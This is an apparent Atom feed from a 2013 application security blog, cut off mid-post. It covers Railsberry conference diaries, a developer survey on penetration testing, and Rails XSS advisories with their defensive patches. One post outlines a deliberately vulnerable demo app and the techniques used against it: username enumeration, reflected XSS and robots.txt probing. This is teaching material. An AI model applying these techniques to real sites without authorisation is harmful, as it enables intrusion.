<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[armoredcode.com - the application security blog that gets the job done]]></title>
  <link href="http://armoredcode.com/atom.xml" rel="self"/>
  <link href="http://armoredcode.com/"/>
  <updated>2013-04-27T19:04:51+02:00</updated>
  <id>http://armoredcode.com/</id>
  <author>
    <name><![CDATA[Paolo Perego]]></name>
    <email><![CDATA[paolo@armorecode.com]]></email>
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[Railsberry chronicles: day 2 - The English penetration test (eventually the day I talk to 450+ oustanding developers)]]></title>
    <link href="http://armoredcode.com/blog/railsberry-chronicles-day-2-the-english-penetration-test-eventually-the-day-i-talk-to-450-plus-oustanding-developers/"/>
    <updated>2013-04-23T14:50:00+02:00</updated>
    <id>http://armoredcode.com/blog/railsberry-chronicles-day-2-the-english-penetration-test-eventually-the-day-i-talk-to-450-plus-oustanding-developers</id>
    <content type="html"><![CDATA[<p>Finally the day I gave the talk is arrived and it&#8217;s gone. Going on stage in
front a more than 450 talented developers was an astonishing experience. It
drove me crazy. My spoken English has limits on its own, but it in front of
such crowd I seemed to be a scared 4 years old child.</p>

<p>However, talk was good afterall. Everything went well. Nothing broke during
exposure, none of the people were harmed during the talk, no customer ewb
applications were broken Internet is still working ( I guess ).</p>

<!-- more -->


<h2>A particular mention to&#8230;</h2>

<p><a href="http://www.railsberry.com/speakers#felix">Felix Geisendoerfer</a> gave us today
an <strong>oustanding</strong> talk about to make an <a href="drone">http://nodecopter.com/</a> to fly
controlled by javascript or any other programming language.</p>

<p>Kudos to <a href="Felix">https://twitter.com/felixge</a> for his hacks and for great talk.</p>

<h2>My slides and the videos</h2>

<p>The code you need to play against a web application is:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ gem install ciphersurfer
</span><span class='line'>$ gem install gengiscan
</span><span class='line'>$ gem install codesake_links
</span><span class='line'>$ gem install cross</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Soon <a href="https://github.com/thesp0nge/cross">cross</a>,
<a href="https://github.com/thesp0nge/gengiscan">gengiscan</a> and
<a href="https://github.com/thesp0nge/ciphersurfer">ciphersurfer</a> will but under the
<a href="https://github.com/codesake">codesake</a> project and eventually it will
integrate into the dusk tool (repository is not created).</p>

<p><a href="https://github.com/codesake/codesake_dawn">dawn</a> code review tool is going to
be soon updated with testing for
<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-1800">CVE-2013-1800</a>.</p>

<p>The idea is that both dusk and
<a href="https://github.com/codesake/codesake_dawn">dawn</a> will be the core engines
behind <a href="http://codesake.com">codesake.com</a> application security startup, but
it&#8217;s quite early to talk about it. The thing to remember is that the security
engines will be opensource, <strong>ever</strong>.</p>

<p>So, I hope you enjoyed the talk. In case you missed, because you were not there, here is my slides:</p>

<script async="true" class="speakerdeck-embed" data-id="6eedd1508e3f01305f0312313815291c" src="http://armoredcode.com//speakerdeck.com/assets/embed.js"> </script>


<p>With demo videos too.</p>

<h3>Railsberry 2013 - Navigating the attack target after the information gathering stage</h3>

<iframe width="" height="" src="http://www.youtube.com/embed/NgNhp_bHsgM " frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>


<p></p>

<h3>Railsberry 2013 - First XSS spotted in the wild</h3>

<iframe width="" height="" src="http://www.youtube.com/embed/DyyfdUUf9-4 " frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>


<p></p>

<h3>Railsberry 2013 - Information gathering</h3>

<iframe width="" height="" src="http://www.youtube.com/embed/TVQGep-kXwQ " frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>


<p></p>

<h3>Railsberry 2013 - Bruteforce users login name</h3>

<iframe width="" height="" src="http://www.youtube.com/embed/-iLoTW26SKg " frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>


<p></p>

<h3>Railsberry 2013 - Find reflected XSS with cross</h3>

<iframe width="" height="" src="http://www.youtube.com/embed/-3I185hGjCQ " frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>


<p></p>

<p>If you have any questions, comments or criticisms please use my <a href="https://github.com/armoredcode/feedback/issues">ask me anything box</a> on
<a href="https://gitub.com">github</a>.</p>

<p>Enjoy it!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Railsberry chronicles: day 1 - The unerdware experiment]]></title>
    <link href="http://armoredcode.com/blog/railsberry-chronicles-day-1-the-unerdware-experiment/"/>
    <updated>2013-04-22T23:06:00+02:00</updated>
    <id>http://armoredcode.com/blog/railsberry-chronicles-day-1-the-unerdware-experiment</id>
    <content type="html"><![CDATA[<p>Today it was the first day for <a href="http://railsberry.com">railsberry</a> event.
<a href="http://www.railsberry.com/speakers#chad">Initial keynote</a> by Chad Fowler was
truly inspiring.</p>

<p>It was about experiment and embracing the change. A lot of times in my life I
do experienced the need of change.
Setting small goals and run yourself against <em>status quo</em> is a great living
lesson.</p>

<!-- more -->


<p>For the technical talks I really loved
<a href="http://www.railsberry.com/speakers#eric">Eric Redmond</a> one about distributed
programming patterns. Truly awesome.</p>

<p>It deserves a mention also the latest talk from
<a href="http://www.railsberry.com/speakers#joseph">Joseph Wilk</a> about artificial intelligence
and how computer science it can be used in some amazing fields like music and
arts.</p>

<p>Joseph showed his researches in artificial intelligence while creating
<a href="http://en.wikipedia.org/wiki/Haiku">Haiku</a> poems. Outstanding results. You
really want to learn more about it.</p>

<p>And tomorrow it will be <a href="http://www.railsberry.com/speakers#paolo">mine turn</a>.</p>

<p>Finger crossed to myself.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Railsberry chronicles: day 0 - the trip]]></title>
    <link href="http://armoredcode.com/blog/railsberry-chronicles-day-0-the-trip/"/>
    <updated>2013-04-21T15:46:00+02:00</updated>
    <id>http://armoredcode.com/blog/railsberry-chronicles-day-0-the-trip</id>
    <content type="html"><![CDATA[<p>I&#8217;m too tired, even for rest.</p>

<p>It&#8217;s a sunny sunday afternoon here in Cracow and I&#8217;m on my hotel room writing
this post. This night was almost sleepless so I had the need to recover a bit.</p>

<!-- more -->


<h2>In Poland for the second time</h2>

<p>It&#8217;s fun. When I arrived at the hotel I didn&#8217;t remember anything about my last
stay for the <a href="http://www.owasp.org">Owasp</a> European Conference in 2009.
I crossed the street (Dietla), leaving the Jewish district on my back and I
thought to myself <em>&#8220;hey, wait I minute but I remember this place&#8221;</em> and than I
started remembering all the place where me, _ikki, Matteo, Giorgio and Stefano
was and how much we enjoyed&#8230; lovely memories.</p>

<h2>Train tripper</h2>

<p>While crossing from the city center to the Jewish district I visited from the
outside conference venue&#8230; there were some <a href="http://applicake.com">applicake</a>
guys I supposed preparing the stage.</p>

<p>Tomorrow it will be conference day number 1. Great talks and hopefully great
networking altogether.</p>

<p>Close to the venue there was a museum about the history of engineering in
Poland, there were cars and buses evolution and some very fun playground with
games for kids.</p>

<p>It would be great having also my wife and my kids here. Maybe next time.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[I don't care if app is unsecure, it's friday I'm in love]]></title>
    <link href="http://armoredcode.com/blog/i-dont-if-app-is-unsecure-its-friday-im-in-love/"/>
    <updated>2013-04-19T07:59:00+02:00</updated>
    <id>http://armoredcode.com/blog/i-dont-if-app-is-unsecure-its-friday-im-in-love</id>
    <content type="html"><![CDATA[<p>A month ago I opened a &#8220;one question only&#8221; survey on
<a href="http://surveymonkey.com">surveytmonkey</a>.</p>

<p>I asked <em>&#8220;Why you don&#8217;t make any web application penetration test when I deploy
a new web application (or a new feature)?&#8221;</em></p>

<p>I collected 41 answers after advertise the poll on
<a href="http://it.linkedin.com/thesp0nge">linkedin</a>,
<a href="https://www.facebook.com/armoredcode">facebook</a> and on
<a href="https://twitter.com/armoredcode">twitter</a>.</p>

<p>I asked also the <a href="http://lists.ruby-it.org/mailman/listinfo/ml">Italian Ruby mailinglist</a>
that is full of great ruby specialist, startuppers and makers.</p>

<p>Let&#8217;s analyse the results</p>

<!-- more -->


<h2>Slightly intended to turn on provocation</h2>

<p>You noticed right, I&#8217;m a <strong>provoker</strong>. I eventually could asked <em>Do you test
your application for security issues before deploy it?</em> to let people say
easily <em>Yes we do make a lot of tests</em> but in my experience (I&#8217;ll be always be
happy in being contradicted) the percentage of people applying security tests
to web code is <strong>poor</strong>.</p>

<p>Sorry to be so dramatic, but it&#8217;s quite true that most of people in small and
medium business don&#8217;t care about security (or test overall).</p>

<p>People in large business&#8230; well, they don&#8217;t care too but this poll wasn&#8217;t
answered by those kind of guys.</p>

<p>If all people eventually make security test over their code, this blog won&#8217;t be
useful anymore isn&#8217;t it?!?</p>

<h2>Results</h2>

<table class="table-striped table-bordered table">
  <thead>
    <tr>
      <td>Answer</td>
      <td>Votes</td>
      <td>Percentage</td>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>You&#8217;re wrong. I do make a web application penetration test when I deploy a new web application or a new feature</td>
      <td>8</td>
      <td>23,5%</td>
    </tr>

    <tr>
      <td>No budget. Security costs are too high for us, we&#8217;re a startup and we&#8217;re focused on business first</td>
      <td>16</td>
      <td>47,1%</td>
    </tr>
    <tr>
      <td>No need to. We&#8217;re a big development team. Our code is robust and strong. We won&#8217;t occur in any security incident. Ever</td>
      <td>1</td>
      <td>2,9%</td>
    </tr>
    <tr>
      <td>No time. We are missing our deadlines. We don&#8217;t have time to spent in security tests. We are safe from risks. We have firewalls.</td>
      <td>4</td>
      <td>11,8%</td>
    </tr>
    <tr>
      <td>I don&#8217;t care. Seriously, security is a word spent by sales men to
          sell antivirus or similiar stuff. I don&#8217;t think my web application will be
          attacked by &#8220;so called&#8221; hackers.
      </td>
      <td>5</td>
      <td>14,7%</td>
    </tr>
  </tbody>
</table>


<p><img src="http://armoredcode.com/images/do_you_test_for_security_poll_results.png"></p>

<h2>Other answers</h2>

<p>On the poll there was also an open answer box where people can leave their own
answer if non of the above fitted.</p>

<blockquote><p>No the application is deployed on Windows Server which is already secure</p></blockquote>




<blockquote><p>Our managers don&#8217;t care about that&#8230; sigh.</p></blockquote>




<blockquote><p>I approach security from the development side (static analysis, code reviews<br/>etc) and don&#8217;t expect later pentests lead by the same dev team to improve<br/>security, but I do run automated tools which have proved useless over time.</p></blockquote>




<blockquote><p>I don&#8217;t have enough time and money to invest in these. Is it possible to automate them?</p></blockquote>




<blockquote><p>It&#8217;s a mix of &#8220;No time.&#8221;/&#8221;No Budget&#8221; and another one you&#8217;ve not specified: &#8220;No<br/>knowledge&#8221; :-) Usually, we don&#8217;t have the necessary knowledge to perform an<br/>efficient pen test session and in order to obtain that knowledge we should<br/>invest a too high amount of time. I know it&#8217;s a vicious circle that in the long<br/>run doesn&#8217;t pay very well :-)</p></blockquote>




<blockquote><p>No time. We are missing our deadlines. We don&#8217;t have time to spent in security<br/>tests. We know what pentest is but we consciously decide to skip it. And pray<br/>that no skilled hacker will ever turn his eyes to us.</p></blockquote>




<blockquote><p>I wouldn&#8217;t know how to perform penetration tests. But I would like to know more about them.</p></blockquote>


<h2>My comments</h2>

<p>Looking at the poll results I can see a good number of people (24%) that they
run application security tests (their own or asking a freelance to do that).
So, as average 2 out of 10 web applications out there are tested for security.</p>

<p>Other 8 out of 10 are not tested for security issues and the main reason is
that people have <strong>no budget</strong>.
But, how does it cost a good web application penetration test? And how much is
it compared to the hidden costs of rewriting the app from scratch or monkey
patching it after a SQL injection?</p>

<p>Even more, how much is it compared on your brand damage and all che costs
related to a data loss after a security break-in? If you would experience a
security issues, your competitors can take a competitive gain over you. You
will potentially lose customers. Are you sure that you can <strong>really</strong> efford
this risk?</p>

<p>It&#8217;s like designing a brand new car. You pay designers and engineers to create
a super car with great design and outstanding performances. You car is great
and intended to choosy customers who want to pay large amount of money for a
good service.
<strong>But</strong> when you design the car you don&#8217;t have enough budget to implement a
full ABS plus stability control system, so you will not implement a top
solution and your car fails on the market.</p>

<p>Application security is your breaking system. You must take care of it if you
want to build a top class product. If you don&#8217;t, may be is a good product until
someone (for not a predictable reason) will break into it, steal your customers
data and make your business to fail.</p>

<p>For people who don&#8217;t care, well maybe they are even not reading this blog or
they don&#8217;t care about IT security at all. I discourage people from ignore the
IT security issue&#8230; in case of break-in your business or your online presence
can be seriously compromised.</p>

<p>Open answers open two different points:</p>

<ul>
<li>I&#8217;m not skilled enough / I don&#8217;t have enough time to do <strong>also</strong> application
security. Good, and that&#8217;s why there are application security specialists you
can engage to help you in security tests. For the costs issues, ask a quote
before and then evaluate if the money you will save can deal against the money
you will lose if successfully attacked.</li>
<li>Automated penetration tests. For sure you can. There are commercial tools out
there and there will be <a href="http://codesake.com">codesake.com</a> soon to ask for
application security tests. I <strong>strongly</strong> encourage you also to do some
manual tests since a tool can make a 100% coverage of your application no
matter how good it is. It&#8217;s a clever idea to have an application security
specialist to integrate tools with some manual check.</li>
</ul>


<p>And you? What do you think about this topic? Which are your experience?</p>

<p>Do you make web application penetration test when you deploy a new web application or a new functionality?</p>

<p>If not, why you don&#8217;t introduce application security in your daily workflow? Tell me yours.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Being nervous and anxious before a talk]]></title>
    <link href="http://armoredcode.com/blog/being-nervous-and-anxious-before-a-talk/"/>
    <updated>2013-04-17T08:16:00+02:00</updated>
    <id>http://armoredcode.com/blog/being-nervous-and-anxious-before-a-talk</id>
    <content type="html"><![CDATA[<p>It happens all the time I have to deliver a talk. Some days before my
anxiety-meter level goes out of scale.</p>

<p>It will last until slide number 4 when I will recall that all the attack stuff
I will show during the speech are not intended to be used by offense.</p>

<!-- more -->


<h2>Point of singularity</h2>

<p>Last time I had a public talk was last june for <a href="http://rubyday.it">Italian Ruby Day</a>
and I finished slides during the talk right before mine.</p>

<p>In the past I delivered talks for <a href="http://www.owasp.org">Owasp events</a> in
Milan, Ghent, New York city and Cracow too and I finished slides the same day
of the talk or the evening right before.</p>

<p>For <a href="http://sikurezza.org">sikurezza.org</a> I delivered talks in Milan and Padua
for SMAU and a very good technical conference called WebbIT (now disappeared)
and the same&#8230; slides were never ready in time.</p>

<p>I&#8217;m scared&#8230; for upcoming <a href="http://railsberry.com">railsberry 2013 talk</a> slides
are ready and video with attack demos too.
<em>(I lied&#8230; I had to find a pretty decent Dr. Evil image in HD for slide number
5 when I will recall to all outstanding developers in the room that they have
to turn themselves in attackers for awhile)</em></p>

<h2>Some stats</h2>

<p>40 slides&#8230; for a 30 minutes long talk. Not all of them has content, some are
titles or section separators so I can play well being in 2 minutes per slide in
average.</p>

<p>I&#8217;ve got 8 slides with ruby code and three videos showing how do I use this
ruby code I wrote in real world attacks under a broken web application I wrote
for this conference.
The broken web application is already available on
<a href="https://github.com/thesp0nge/railsberry2013">my github</a>.</p>

<h2>What I will be talk about</h2>

<p>The <a href="https://github.com/thesp0nge/railsberry2013">broken web application</a> is build with three security flaws in mind:</p>

<ul>
<li>the authentication mechanism gives too much information to the user failing
the login. It says that it doesn&#8217;t know the user if it&#8217;s not found in the
database and it gives a different error message if a valid user mispelled the
password. I will show how to exploit it enumerating good user of that
application. <strong>Please note:</strong> you do need know a valid username to try guessing
(because you have to simulate a good user that mispells the password.
Owasp testing guide test for bruteforce attack is
<a href="https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004)">OWASP-AT-004</a></li>
<li>the /hello API take a <em>name</em> parameter saying hello to the user not filtering
the input&#8230; so it&#8217;s vulnerable to a reflected cross site scripting.
The /login API too is vulnerable to reflected cross site scripting since it
uses the login name the user just submitted as output without filtering.
I&#8217;ll show how to exploit those two vulnerabilities.
We will implement test
<a href="https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)">OWASP-DV-001</a>
as the latest Owasp Testing Guide.</li>
<li>the robots.txt has some disallowed entries but one of them is missing some
checks about preventing unauthenticated people to access it. I&#8217;ll show how to
check for open URLs found in a robots.txt file with a single command.
Owasp testing guide test is
<a href="https://www.owasp.org/index.php/Testing:_Spiders,_Robots,_and_Crawlers_(OWASP-IG-001)">OWASP-IG-001</a>
here.</li>
</ul>


<p>Videos will be available on armoredcode youtube channel right after the event
and slides will be available also too on slideshare and speakerdeck. Source
code is almost already available on <a href="https://github.com/codesake">codesake github archive</a>.
I had to rebeand my previous released cross gem.</p>

<p>Enjoy it!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Untold: nobody will make a cinema story over this blog and I'm fine]]></title>
    <link href="http://armoredcode.com/blog/untold-nobody-will-make-a-cinema-story-over-this-blog-and-im-fine/"/>
    <updated>2013-04-11T07:57:00+02:00</updated>
    <id>http://armoredcode.com/blog/untold-nobody-will-make-a-cinema-story-over-this-blog-and-im-fine</id>
    <content type="html"><![CDATA[<p><a href="http://juliepowell.com/blog.html">Julie Powell</a> is an American writer who
creates a blog back in 2002. She wrote about an American woman lived in Paris
in 1949-or-something that innovates American cooking scenario writing a book
(in English) talking about <em>novelle cousine</em>.</p>

<p>Starting from the blog, she wrote a book and eventually, this story becomes a
film my and my wife watched it in TV yesterday.</p>

<p><strong>Fact:</strong> nobody will use <a href="http://armoredcode.com">this blog</a> to create a film
script. But application security can be also very funny.</p>

<p><em>(yes, I&#8217;ll talk a little bit about security if you read more)</em></p>

<!-- more -->


<h2>Appsec is like cooking: teach other people and use recipes</h2>

<p>Yesterday I had an awareness session with a development team. We mostly talked
about API and how to find the right balance between funciontality versus data
security.</p>

<p>We talked about REST and CRUD approach when creating an API and how to use HTTP
verbs effectively. Mastering an awareness session is the reason why an
application security specialist <strong>must</strong> be also a developer.</p>

<p>Teaching is fun and I like talking about my passions.</p>

<p>Cooking involves also using recipes, eventually a chef can customize to best
fit her personal taste. In the same way, secure coding involves the usage of
code snippets (recipes) a developer (the chef) can customize to fit the
software she&#8217;s creating.</p>

<p>At the end, we (application security specialists) are a sort of cooking book
writers (like the Julia living in Paris back in &#8217;40s). Our goal is to innovate
how be effective in teaching other people how to deal with security bugs.</p>

<h2>The great pretender(s)</h2>

<p>Freddy Mercury sang about he was a great pretender, pretending he was doing
well (since I&#8217;m not a music history expert I don&#8217;t know the topic Freddy was
talking about here). That song is great and Freddy voice is unbelievable.</p>

<p>Also in application security scenario there is a lot of people <em>pretending</em>, me
first, of doing well. We all aspire to be excellent, to be leaders in our
field.</p>

<p>Take this blog. I&#8217;m aspiring this would be the reference in the application
security field in the next three years.
Setting ambitious goals is good. It forces you in go deep researching, learning
and applying knowledge. It forces you in embrancing the change, and changing is
always good since it kicks the status-quo out.</p>

<p>Embracing the change means also being prepared to make mistakes. Don&#8217;t be
scared about saying &#8220;I wrote a sentence about a vulnerability but my
conclusions are completely wrong&#8221;.</p>

<p>The very fundamental learning I had is that when I&#8217;m going to say something I
need to verify it before and I <strong>must</strong> prove my claims.
If I say that something is broken without proving it I&#8217;m facing the risk to say
something completely wrong.</p>

<p>Go deep in learning, prove your sentences and go for the excellence.</p>

<h2>Codesake.com and an apparent abuse of procrastination</h2>

<p>If you look at the <a href="http://codesake.com">codesake.com</a> web site, it seems the
project is gone. No improvements, no <a href="https://github.com">github</a>
authentication, there&#8217;s nothing at the time.</p>

<p>The truth here is that I worked on the fundamentals before putting them on
stage.</p>

<p>I created a set of <a href="codesake.com">codesake.com</a> side projects that eventually
would be the application security portal internals.
And I decided all of them will go opensource, codesake users would pay for
having them integrated in the website, glued with github account and for data
mining and representation.</p>

<p>There is no reason to close security controls, it&#8217;s not black magic and
everyone must know what I&#8217;m going to test over their code.</p>

<h2>Railsberry: two weeks to go</h2>

<p>In 22 and 23 of April I&#8217;ll be in Cracow for <a href="http://railsberry.com">railsberry</a>
conference. From the <a href="http://railsberry.com/agenda">agenda</a> I realized my talk
will last 30 minutes, this has some pros (mostly for the audience): they are
not forced to listen me that much.
However I&#8217;m forced to work on my talk schedule.</p>

<p>I guess it will be something like:</p>

<ul>
<li>introducing people to <a href="https://www.owasp.org/index.php/Top_10_2013">Owasp Top 10 2013</a> ( 5&#8217; )</li>
<li>show how to gather information to narrow an attack: robots.txt &amp;&amp; CMS fingerprint ( 5&#8217; )</li>
<li>show how to spider a website and look for backup files ( 5&#8217; )</li>
<li>show how to bruteforce an authentication mechanism ( 5&#8217; )</li>
<li>show how to check for <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">cross site scripting</a> ( 5&#8217; )</li>
<li>show how to check a Rails application for CVE-2013-1855 and for CVE-2013-1857 and some basic for code reviewing ( 5&#8217; )</li>
<li>Q &amp; A ( 5&#8217; )</li>
<li>Beer ( undisclosed but I saw a lot of parties in the schedule )</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Happy birthday armoredcode and 4 rails advisories]]></title>
    <link href="http://armoredcode.com/blog/happy-birthday-armoredcode-and-4-rails-advisories/"/>
    <updated>2013-03-18T18:45:00+01:00</updated>
    <id>http://armoredcode.com/blog/happy-birthday-armoredcode-and-4-rails-advisories</id>
    <content type="html"><![CDATA[<p>It was <a href="http://armoredcode.com/blog/hello-world/">a year ago</a> when I started
the <a href="http://armoredcode.com">armoredcode.com</a> project.</p>

<p>The goal, it&#8217;s useful to recall it, is to talk to developers about application
security. And this evening there are three new security advisories for
<a href="http://rubyonrails.org">the Ruby on Rails MVC framework</a>.</p>

<!-- more -->


<h2>Is rails under attack?</h2>

<p>Yesterday, <a href="http://tenderlovemaking.com/">@tenderlove</a> reported 4 new security
advisories for <a href="http://rubyonrails.org">Ruby on Rails</a>. Two of them are
advisories about Cross site scripting vulnerabilities affecting sanitize
helpers, therefore it&#8217;s critical to upgrade to the latest rails version.</p>

<ul>
<li><a href="https://groups.google.com/d/msg/rubyonrails-security/4_QHo4BqnN8/_RrdfKk12I4J">CVE-2013-1855</a>
XSS vulnerability in sanitize_css in Action Pack</li>
<li><a href="https://groups.google.com/d/msg/rubyonrails-security/zAAU7vGTPvI/1vZDWXqBuXgJ">CVE-2013-1857</a>
XSS Vulnerability in the <code>sanitize</code> helper of Ruby on Rails</li>
</ul>


<p>Tenderlove also gave some monkey patch to apply in case you can&#8217;t patch your
rails installation.</p>

<figure class='code'><figcaption><span>@tenderlove monkey patch for CVE-2013-1855</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">module</span> <span class="nn">HTML</span>
</span><span class='line'>  <span class="k">class</span> <span class="nc">WhiteListSanitizer</span>
</span><span class='line'>      <span class="c1"># Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute</span>
</span><span class='line'>    <span class="k">def</span> <span class="nf">sanitize_css</span><span class="p">(</span><span class="n">style</span><span class="p">)</span>
</span><span class='line'>      <span class="c1"># disallow urls</span>
</span><span class='line'>      <span class="n">style</span> <span class="o">=</span> <span class="n">style</span><span class="o">.</span><span class="n">to_s</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/url\s*\(\s*[^\s)]+?\s*\)\s*/</span><span class="p">,</span> <span class="s1">&#39; &#39;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>      <span class="c1"># gauntlet</span>
</span><span class='line'>      <span class="k">if</span> <span class="n">style</span> <span class="o">!~</span> <span class="sr">/\A([:,;#%.\sa-zA-Z0-9!]|\w-\w|\&#39;[\s\w]+\&#39;|\&quot;[\s\w]+\&quot;|\([\d,\s]+\))*\z/</span> <span class="o">||</span>
</span><span class='line'>          <span class="n">style</span> <span class="o">!~</span> <span class="sr">/\A(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*\z/</span>
</span><span class='line'>        <span class="k">return</span> <span class="s1">&#39;&#39;</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>
</span><span class='line'>      <span class="n">clean</span> <span class="o">=</span> <span class="o">[]</span>
</span><span class='line'>      <span class="n">style</span><span class="o">.</span><span class="n">scan</span><span class="p">(</span><span class="sr">/([-\w]+)\s*:\s*([^:;]*)/</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">prop</span><span class="p">,</span><span class="n">val</span><span class="o">|</span>
</span><span class='line'>        <span class="k">if</span> <span class="n">allowed_css_properties</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">prop</span><span class="o">.</span><span class="n">downcase</span><span class="p">)</span>
</span><span class='line'>          <span class="n">clean</span> <span class="o">&lt;&lt;</span>  <span class="n">prop</span> <span class="o">+</span> <span class="s1">&#39;: &#39;</span> <span class="o">+</span> <span class="n">val</span> <span class="o">+</span> <span class="s1">&#39;;&#39;</span>
</span><span class='line'>        <span class="k">elsif</span> <span class="n">shorthand_css_properties</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">prop</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;-&#39;</span><span class="p">)</span><span class="o">[</span><span class="mi">0</span><span class="o">].</span><span class="n">downcase</span><span class="p">)</span>
</span><span class='line'>          <span class="k">unless</span> <span class="n">val</span><span class="o">.</span><span class="n">split</span><span class="p">()</span><span class="o">.</span><span class="n">any?</span> <span class="k">do</span> <span class="o">|</span><span class="n">keyword</span><span class="o">|</span>
</span><span class='line'>            <span class="o">!</span><span class="n">allowed_css_keywords</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">keyword</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
</span><span class='line'>              <span class="n">keyword</span> <span class="o">!~</span> <span class="sr">/\A(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)\z/</span>
</span><span class='line'>          <span class="k">end</span>
</span><span class='line'>            <span class="n">clean</span> <span class="o">&lt;&lt;</span> <span class="n">prop</span> <span class="o">+</span> <span class="s1">&#39;: &#39;</span> <span class="o">+</span> <span class="n">val</span> <span class="o">+</span> <span class="s1">&#39;;&#39;</span>
</span><span class='line'>          <span class="k">end</span>
</span><span class='line'>        <span class="k">end</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>      <span class="n">clean</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">)</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>  <span class="k">end</span>
</span><span class='line'><span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span>@tenderlove code to place into a file in config/initialized to fix CVE-2013-1857</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="k">module</span> <span class="nn">HTML</span>
</span><span class='line'>    <span class="k">class</span> <span class="nc">WhiteListSanitizer</span>
</span><span class='line'>      <span class="nb">self</span><span class="o">.</span><span class="n">protocol_separator</span> <span class="o">=</span> <span class="sr">/:|(&amp;#0*58)|(&amp;#x70)|(&amp;#x0*3a)|(%|&amp;#37;)3A/i</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">def</span> <span class="nf">contains_bad_protocols?</span><span class="p">(</span><span class="n">attr_name</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span>
</span><span class='line'>        <span class="n">uri_attributes</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">attr_name</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
</span><span class='line'>        <span class="p">(</span><span class="n">value</span> <span class="o">=~</span> <span class="sr">/(^[^\/:]*):|(&amp;#0*58)|(&amp;#x70)|(&amp;#x0*3a)|(%|&amp;#37;)3A/i</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">allowed_protocols</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">value</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">protocol_separator</span><span class="p">)</span><span class="o">.</span><span class="n">first</span><span class="o">.</span><span class="n">downcase</span><span class="o">.</span><span class="n">strip</span><span class="p">))</span>
</span><span class='line'>      <span class="k">end</span>
</span><span class='line'>    <span class="k">end</span>
</span><span class='line'>  <span class="k">end</span>
</span></code></pre></td></tr></table></div></figure>


<p>True to be told, I see the high number of security issues for Rails as a
symptom that the framework is gaining in popularity.</p>

<h2>The cross site scripting menace</h2>

<p>It&#8217;s one of the widespread security vulnerabilities affecting web applications
nowadays. For the <a href="http://www.owasp.org">Owasp project</a> is one of the most
